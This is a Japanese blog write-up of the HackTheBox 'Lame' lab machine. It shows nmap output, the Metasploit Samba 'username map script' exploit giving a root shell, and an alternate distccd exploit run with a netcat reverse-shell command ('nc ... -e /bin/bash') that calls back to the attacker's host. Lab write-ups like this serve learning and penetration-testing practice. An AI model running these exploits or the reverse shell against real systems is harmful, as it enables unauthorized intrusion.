🔥

HackTheBox Lame

2022/09/26に公開

Lame

侵入

nmap

ポートスキャンを行う

┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.3 -oN nmap.log
PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.12
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

21、22、139、445、3632番ポートを確認

searchsploit

バージョンを知ることができたので、脆弱性が公開されていないか調べる

┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ searchsploit samba                                                                                                      1 ⨯
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)              | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                         | linux/remote/7701.txt
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

3.0.20 で2つの脆弱性を発見
上の脆弱性は、シェルのメタ文字を含むユーザ名を指定することで、任意のコードが実行できる

metasploit

脆弱性を利用するための、認証は必要ないらしいので、脳死で実行を試みる

┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ msfconsole

msf6 > search samba

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   
Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results

8番目で該当の脆弱性を発見

msf6 > use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)
   
Payload options (cmd/unix/reverse_netcat):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   
Exploit target:
   Id  Name
   --  ----
   0   Automatic
   
msf6 exploit(multi/samba/usermap_script) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.12
LHOST => 10.10.14.12

options で確認したところ、アドレスが必要だったので、設定する

root としてのシェル

run

正しく設定できたので、実行する

msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.10.10.3:37068) at 2022-09-26 23:09:35 +0900

> whoami
root
> id
uid=0(root) gid=0(root)

一気に root が取得できた

user フラグ

> ls -l
-rw-r--r-- 1 makis makis 33 Sep 26 09:52 user.txt
> cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

root フラグ

> ls -l
-rw------- 1 root root   33 Sep 26 09:52 root.txt
> cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

問題なく取得できた

別道

distccd v1

今回、Samba のバージョンによる脆弱性で一度に root が取れたが、侵入においては、他にもアプローチある

3632/tcp open  distccd     syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

nmap により、3632番ポートが、distccd v1 であることが判明している
exploit を github で検索すると、コードがヒットするので、実行する

┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ python lame_exploit.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.12 5555 -e /bin/bash"                                   
[OK] Connected to remote service

5555番で待ち受ける

┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 42379
whoami
daemon

daemon のシェルを取得することができる(daemon から権限昇格は出来なかった)
github -> https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855

所感

今回のボックスは、一つの脆弱性だけで簡単に攻略できてしまった。終わると、ユーザの評価が easy に多いことに納得がいった。

Discussion